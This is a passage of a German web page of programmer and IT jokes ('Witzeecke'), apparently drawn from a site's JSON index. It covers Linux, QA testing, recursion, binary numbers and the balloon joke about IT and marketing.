Kinderwagen durch den Park. Kommt ein älteres Ehepaar: „Junge oder Mädchen?“\nInformatiker: „Richtig!“\nTreffen sich drei Programmierer auf der Toilette. Nach dem Urinieren tritt der erste ans Waschbecken, spült sich flüchtig die Hände ab und trocknet sie grob mit einem Papierhandtuch: „Wir bei Windows sind die Schnellsten“, sagt er.\nDer Zweite tritt ans Waschbecken, seift sich sorgfältig die Hände ein und trocknet sie mit vier Papierhandtüchern ab: „Wir bei IBM sind nicht nur schnell, sondern auch gründlich“, erwidert dieser.\nDer Dritte kommt vom Klo und sie erkennen Linus Torvalds. Sie treten beiseite, damit er ans Waschbecken kann, doch er geht zielstrebig am Waschbecken vorbei und erklärt: „Wir bei Linux pinkeln uns nicht auf die Hände…“\nEin Software QA Engineer geht in eine Bar. Er bestellt\u0026hellip; • ein Bier • 0 Bier • 9999999999 Biere • eine Echse • -1 Biere • ein sdoifjoiwejf Dann kommt der erste richtige Kunde in die Bar und fragt wo die Toilette ist. Die Bar geht in Flammen auf und alle sterben.\nBig Data bei Wirtschaft und Politik ist wie Sex bei Teenagern\u0026hellip; Alle sprechen darüber. Niemand weiß wie es wirklich geht. Alle denken, dass alle anderen es tun. Deswegen behaupten alle, dass sie es auch tun.\nWie viele Programmierer braucht man, um eine Glühbirne zu wechseln? – Keinen einzigen, ist ein Hardware-Problem!\nWas sind acht Hobbits? Ein Hobbyte!\nEin Softwareentwickler und seine Frau. Sie: „Schatz, wir haben kein Brot mehr. Könntest du bitte zum Kiosk an der Ecke gehen und eins holen? Und wenn sie Eier haben, bring 6 Stück mit.“ Nach kurzer Zeit kommt er wieder zurück und hat 6 Brote dabei. Sie: „Warum nur hast du 6 Brote gekauft?“ Er: „Sie hatten Eier.“\nEin Arzt, ein Anwalt und ein Programmierer diskutieren, was besser sei: eine Ehefrau oder eine Freundin. Sagt der Anwalt: „Eine Freundin ist besser. Trennt man sich von einer Ehefrau, hat man jede Menge Stress.“ Darauf der Arzt: „Eine Ehefrau ist besser. Sie gibt einem das Gefühl der Sicherheit und das senkt den Stresspegel.“ Sagt der Programmierer: „Man braucht beides. Wenn die Ehefrau denkt, du bist bei der Freundin und die Freundin denkt, du bist bei der Ehefrau – kannst du in Ruhe programmieren.“\nUm Rekursion zu verstehen, muss man zunächst Rekursion verstehen!\nEin Mann wird in einen Heißluftballon abgetrieben. Als er völlig die Orientierung verloren hat, reduziert er die Höhe und sieht einen Mann auf einem Feld. Er ruft ihm zu: „Entschuldigung, können Sie mir sagen, wo ich bin?“ Der Mann unten antwortet: „Ja, Sie schweben mit einem Heißluftballon ca. 20m über diesem Feld.“ „Sie müssen in der EDV Branche arbeiten“, sagt der Mann im Heißluftballon. „Stimmt, woher wissen Sie das?“ „Naja, alles was Sie mir gesagt haben, ist aus technischer Sicht richtig, aber kein Mensch kann damit etwas anfangen.“ Der Mann von unten antwortet: „Und Sie müssen im Marketing arbeiten!“ „Ja stimmt, aber wie kommen Sie darauf?“, fragt der Ballonfahrer. „Wissen Sie, Sie wissen weder wo Sie sind, noch wo Sie hin wollen, aber erwarten von mir, dass ich Ihnen helfen kann. Jetzt sind Sie in der gleichen Lage wie bevor wir uns getroffen haben, aber jetzt geben Sie mir die Schuld daran.“\n","permalink":"https://quisl.de/witzeecke/","summary":"Ein Engländer, ein Franzose, ein Spanier und ein Deutscher loggen sich in einen Zoom call ein. Der Host möchte prüfen ob sein Video funktioniert und fragt: \u0026ldquo;Can you see me?\u0026rdquo;\nDa antworten die anderen: \u0026ldquo;Yes\u0026rdquo; \u0026ldquo;Oui\u0026rdquo; \u0026ldquo;Si\u0026rdquo; \u0026ldquo;Ja\u0026rdquo;\nEs gibt 10 Arten von Menschen in der Welt. Die einen verstehen das Binärsystem und die anderen nicht!\nWhy do programmers code on a dark background?\nBecause light attracts bugs!\n„Na wie ist denn das Wetter heute?","title":"Witzeecke"}]